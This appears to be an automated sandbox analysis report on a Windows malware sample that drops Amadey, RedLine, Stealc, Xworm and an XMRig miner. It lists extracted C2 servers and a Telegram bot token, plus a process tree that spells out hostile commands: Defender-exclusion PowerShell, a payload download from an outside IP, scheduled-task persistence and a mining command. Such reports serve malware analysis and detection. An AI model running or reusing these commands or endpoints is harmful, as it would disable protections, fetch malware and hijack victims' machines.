Overview

overview

10

Static

static

7

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    13/05/2024, 13:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f.exe
  • Size 1.6MB
  • Sample240513-qbtnbage58
  • SHA256 63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeyredlineriseprostealcstormkittyxmrigxwormzgrat1@cloudytteamdiscoveryevasionexecutioninfostealerminerpersistenceratspywarestealerthemidatrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://193.222.96.193:81/besho/besho.mp4

Extracted

Family

  • amadey

Version

  • 4.20

C2

  • http://5.42.96.141

  • http://5.42.96.7

Attributes
  • install_dir

    908f070dff

  • install_file

    explorku.exe

  • strings_key

    b25a9385246248a95c600f9a061438e1

  • url_paths

    /go34ko8/index.php

rc4.plain
rc4.plain

Extracted

Family

  • risepro

C2

  • 147.45.47.126:58709

Extracted

Family

  • redline

Botnet

  • @CLOUDYTTEAM

C2

  • 185.172.128.33:8970

Extracted

Family

  • redline

Botnet

  • 1

C2

  • 185.215.113.67:26260

Extracted

Family

  • stealc

C2

  • http://49.13.229.86

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

  • xworm

C2

  • 127.0.0.1:7000

  • beshomandotestbesnd.run.place:7000

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 2 IoCs
  • Detect ZGRat V1 6 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • XMRig Miner payload 4 IoCs
    miner
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 50 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 5 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 44 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 6 IoCs
    evasiontrojan
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f.exe
    "C:\Users\Admin\AppData\Local\Temp\63a57d86f18040563e6b0a9fa14c3470cbd614b6e6e58068e50b6e3594db0e3f.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3568
    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
      "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
        "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
        3⤵
          PID:2312
        • C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
          "C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:784
          • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
            "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4968
            • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
              "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1204
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                  PID:3596
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  6⤵
                    PID:4692
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4912
                    • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
                      "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4324
                    • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
                      "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
                      7⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1892
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                      7⤵
                        PID:1436
                        • C:\Windows\SysWOW64\choice.exe
                          choice /C Y /N /D Y /T 3
                          8⤵
                            PID:4752
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1204 -s 364
                        6⤵
                        • Program crash
                        PID:2772
                    • C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of WriteProcessMemory
                      PID:1136
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        6⤵
                          PID:4552
                      • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2476
                      • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
                        5⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • Suspicious use of WriteProcessMemory
                        PID:764
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1204
                          • C:\Windows\SysWOW64\sc.exe
                            Sc stop GameServerClient
                            7⤵
                            • Launches sc.exe
                            PID:2320
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService remove GameServerClient confirm
                            7⤵
                            • Executes dropped EXE
                            PID:3168
                          • C:\Windows\SysWOW64\sc.exe
                            Sc delete GameSyncLink
                            7⤵
                            • Launches sc.exe
                            PID:4756
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService remove GameSyncLink confirm
                            7⤵
                            • Executes dropped EXE
                            PID:3688
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                            7⤵
                            • Executes dropped EXE
                            PID:2456
                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                            GameService start GameSyncLink
                            7⤵
                            • Executes dropped EXE
                            PID:2356
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                          6⤵
                            PID:3440
                            • C:\Windows\SysWOW64\sc.exe
                              Sc stop GameServerClientC
                              7⤵
                              • Launches sc.exe
                              PID:3664
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove GameServerClientC confirm
                              7⤵
                              • Executes dropped EXE
                              PID:2140
                            • C:\Windows\SysWOW64\sc.exe
                              Sc delete PiercingNetLink
                              7⤵
                              • Launches sc.exe
                              PID:2512
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove PiercingNetLink confirm
                              7⤵
                              • Executes dropped EXE
                              PID:4584
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:3168
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService start PiercingNetLink
                              7⤵
                              • Executes dropped EXE
                              PID:4752
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                            6⤵
                              PID:1208
                              • C:\Windows\SysWOW64\sc.exe
                                Sc delete GameSyncLinks
                                7⤵
                                • Launches sc.exe
                                PID:2108
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService remove GameSyncLinks confirm
                                7⤵
                                • Executes dropped EXE
                                PID:4564
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:8
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService start GameSyncLinks
                                7⤵
                                • Executes dropped EXE
                                PID:1924
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                              6⤵
                                PID:3196
                            • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:3928
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                6⤵
                                • Loads dropped DLL
                                • Checks processor information in registry
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2704
                            • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                              "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:2064
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                6⤵
                                  PID:2076
                              • C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:2348
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                  6⤵
                                    PID:1084
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
                                    6⤵
                                      PID:2356
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 172
                                        7⤵
                                        • Program crash
                                        PID:5008
                                  • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:4980
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                                      6⤵
                                      • Creates scheduled task(s)
                                      PID:1060
                                    • C:\Users\Admin\AppData\Local\Temp\1000254001\ISetup8.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000254001\ISetup8.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      PID:4712
                                      • C:\Users\Admin\AppData\Local\Temp\u3mw.0.exe
                                        "C:\Users\Admin\AppData\Local\Temp\u3mw.0.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Checks processor information in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2396
                                      • C:\Users\Admin\AppData\Local\Temp\u3mw.1.exe
                                        "C:\Users\Admin\AppData\Local\Temp\u3mw.1.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • Checks SCSI registry key(s)
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:4144
                                        • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                                          "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                                          8⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3984
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4712 -s 1440
                                        7⤵
                                        • Program crash
                                        PID:1708
                                    • C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000255001\toolspub1.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Checks SCSI registry key(s)
                                      PID:1932
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 384
                                        7⤵
                                        • Program crash
                                        PID:4692
                                    • C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
                                      "C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3196
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        7⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:872
                                      • C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe
                                        "C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        PID:4656
                                  • C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe
                                    "C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    • Modifies registry class
                                    • Suspicious behavior: AddClipboardFormatListener
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2636
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1852
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3040
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:956
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2540
                                    • C:\Windows\System32\schtasks.exe
                                      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
                                      6⤵
                                      • Creates scheduled task(s)
                                      PID:1124
                                    • C:\Windows\System32\WScript.exe
                                      "C:\Windows\System32\WScript.exe" "C:\ProgramData\ssa.vbs"
                                      6⤵
                                        PID:1196
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $webClient = New-Object System.Net.WebClient; $webClient.Credentials = New-Object System.Net.NetworkCredential('dd', 'mn...123456'); $webClient.DownloadFile('http://193.222.96.193:81/besho/besho.mp4', 'C:\Users\Public\Documents\max3d.zip'); Expand-Archive -Path 'C:\Users\Public\Documents\max3d.zip' -DestinationPath 'C:\Users\Public\Documents\' -Force
                                          7⤵
                                          • Blocklisted process makes network request
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2476
                                • C:\Users\Admin\1000006002\4b58e49bf4.exe
                                  "C:\Users\Admin\1000006002\4b58e49bf4.exe"
                                  3⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Checks whether UAC is enabled
                                  PID:664
                            • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                              C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                              1⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Checks whether UAC is enabled
                              PID:3136
                            • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                              C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                              1⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3912
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1204 -ip 1204
                              1⤵
                                PID:536
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                1⤵
                                • Executes dropped EXE
                                PID:4436
                                • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                  "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:5088
                                  • C:\Windows\Temp\189993.exe
                                    "C:\Windows\Temp\189993.exe" --list-devices
                                    3⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:2824
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                1⤵
                                • Executes dropped EXE
                                PID:4716
                                • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                  "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:4684
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                1⤵
                                • Executes dropped EXE
                                PID:1204
                                • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                  "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  PID:4744
                                  • C:\Windows\Temp\731486.exe
                                    "C:\Windows\Temp\731486.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of FindShellTrayWindow
                                    PID:884
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2356 -ip 2356
                                1⤵
                                  PID:2928
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1932 -ip 1932
                                  1⤵
                                    PID:4392
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4712 -ip 4712
                                    1⤵
                                      PID:3984
                                    • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      1⤵
                                      • Executes dropped EXE
                                      PID:4568
                                    • C:\ProgramData\taskmgr.exe
                                      C:\ProgramData\taskmgr.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2280
                                    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1944
                                    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:4736
                                    • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                      1⤵
                                      • Executes dropped EXE
                                      PID:1944
                                    • C:\ProgramData\taskmgr.exe
                                      C:\ProgramData\taskmgr.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2824
                                    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:3596
                                    • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                      1⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:3928

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Reconnaissance

                                          Resource Development

                                          Initial Access

                                          Execution

                                          Command and Scripting Interpreter

                                          1
                                          T1059

                                          PowerShell

                                          1
                                          T1059.001

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          System Services

                                          1
                                          T1569

                                          Service Execution

                                          1
                                          T1569.002

                                          Persistence

                                          Boot or Logon Autostart Execution

                                          1
                                          T1547

                                          Registry Run Keys / Startup Folder

                                          1
                                          T1547.001

                                          Create or Modify System Process

                                          1
                                          T1543

                                          Windows Service

                                          1
                                          T1543.003

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Privilege Escalation

                                          Boot or Logon Autostart Execution

                                          1
                                          T1547

                                          Registry Run Keys / Startup Folder

                                          1
                                          T1547.001

                                          Create or Modify System Process

                                          1
                                          T1543

                                          Windows Service

                                          1
                                          T1543.003

                                          Scheduled Task/Job

                                          1
                                          T1053

                                          Defense Evasion

                                          Impair Defenses

                                          1
                                          T1562

                                          Modify Registry

                                          2
                                          T1112

                                          Subvert Trust Controls

                                          1
                                          T1553

                                          Install Root Certificate

                                          1
                                          T1553.004

                                          Virtualization/Sandbox Evasion

                                          2
                                          T1497

                                          Credential Access

                                          Unsecured Credentials

                                          3
                                          T1552

                                          Credentials In Files

                                          3
                                          T1552.001

                                          Discovery

                                          Peripheral Device Discovery

                                          1
                                          T1120

                                          Query Registry

                                          7
                                          T1012

                                          System Information Discovery

                                          5
                                          T1082

                                          Virtualization/Sandbox Evasion

                                          2
                                          T1497

                                          Lateral Movement

                                          Collection

                                          Data from Local System

                                          3
                                          T1005

                                          Command and Control

                                          Exfiltration

                                          Impact

                                          Service Stop

                                          1
                                          T1489

                                          Replay Monitor

